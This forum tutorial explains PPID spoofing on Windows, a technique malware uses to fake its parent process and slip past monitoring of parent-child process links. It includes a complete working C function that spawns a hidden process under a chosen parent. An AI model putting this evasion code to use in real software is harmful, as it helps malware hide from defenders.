Since I dont see much activity here, I decided to write a post on a topic. Pls do let me know if I was good enough at explaining it.
PPID Spoofing
Introduction
PPID Spoofing is a technique which is used by malwares to spoof their parent process, as if to show that they were spawned by a legitimate process. For eg. if a powershell is being spawned by office, this becomes really suspicious in contrast to powershell being spawned from explorer (this is same as you opening powershell from its location). Vendors monitor the parent-child relationships between the processes to identify potential suspicious behavior. Below I have used process hacker to show how it is displayed.
Powershell being spawned interactively
powershell from a macro
Theory
So how does this work? Well you must be aware we can create a process using the CreateProcess api. While creating a process, it is possible to specify extended attributes by using the STARTUPINFOEX structure. According to MSDN
To set extended attributes, use a STARTUPINFOEX structure and specify EXTENDED_STARTUPINFO_PRESENT in the dwCreationFlags parameter.
We can initialize the PROC_THREAD_ATTRIBUTE_LIST
using the InitializeProcThreadAttributeList & then use UpdateProcThreadAttribute api to update the value of PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
to the handle to the parent process.
From winbase.h
We can see different attributes defined here. For now, we just want the first one.
PPID Spoofing
Alright, First we have to get handle to the Parent Process. Since we would most probably be running as low privileged user, we need to look for a process accordingly. Since I just want to explain, I’ll use flameshot (ss tool) instead as a parent process. First I need to get handle to it.
hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwParentPID);
Then I need to initialize the process attribute list and update it accordingly. But before that, MSDN asks us to call this function with the count of attributes we want to set and then.
InitializeProcThreadAttributeList(NULL, 1, NULL, &sz_tAttribList);
pThreadAttribList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz_tAttribList);
InitializeProcThreadAttributeList(pThreadAttribList, 1, NULL, &sz_tAttribList)
UpdateProcThreadAttribute(pThreadAttribList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL)
si_ex.lpAttributeList = pThreadAttribList;
CreateProcessA(NULL, lpProcName, NULL, NULL, FALSE, (EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW), NULL, "C:\\Windows\\System32", &si_ex.StartupInfo, &pi)
After initializing it once, we get the size of attribute list, then we allocate heap memory for it and initialize it once again, after which we can update it and create the process. It is important to specify the EXTENDED_STARTUPINFO_PRESENT
when we want to set the attributes.
Here’s the full code
BOOL ppidSpoofer(IN HANDLE hParent, IN LPCSTR lpProcName) {
SIZE_T sz_tAttribList = NULL;
PPROC_THREAD_ATTRIBUTE_LIST pThreadAttribList = NULL;
STARTUPINFOEXA si_ex = { 0 };
PROCESS_INFORMATION pi = { 0 };
SecureZeroMemory(&si_ex, sizeof(STARTUPINFOEXA));
SecureZeroMemory(&pi, sizeof(pi));
InitializeProcThreadAttributeList(NULL, 1, NULL, &sz_tAttribList);
DWORD err_122 = GetLastError();
if (err_122 != ERROR_INSUFFICIENT_BUFFER) {
warn("Initializing failed @--=%d", err_122);
}
info("ThreadAttrib is of %d size , GOT ERROR @--=%d", (int)sz_tAttribList, GetLastError());
pThreadAttribList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz_tAttribList);
if (pThreadAttribList == NULL) {
warn("Error Allocating Heap @--=0x%d", GetLastError());
return FALSE;
}
if (!InitializeProcThreadAttributeList(pThreadAttribList, 1, NULL, &sz_tAttribList)) {
warn("Initializing Attributes failed @--=0x%d", GetLastError());
return FALSE;
}
if (!UpdateProcThreadAttribute(pThreadAttribList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL)) {
warn("Updating Attributes failed @--=0x%d", GetLastError());
return FALSE;
}
si_ex.lpAttributeList = pThreadAttribList;
if (!CreateProcessA(NULL, lpProcName, NULL, NULL, FALSE, (EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW), NULL, "C:\\Windows\\System32", &si_ex.StartupInfo, &pi)) {
// I can change the current directory of the spawned process just by specifying where I want it to be ---------------- ^
warn("Process Creation failed @--=0x%d", GetLastError());
return FALSE;
}
info("Created Process with id %d", pi.dwProcessId);
CloseHandle(hParent);
return TRUE;
}
After running this , we can see the process from process hacker.

If you liked it, do let me know and drop a follow on twitter.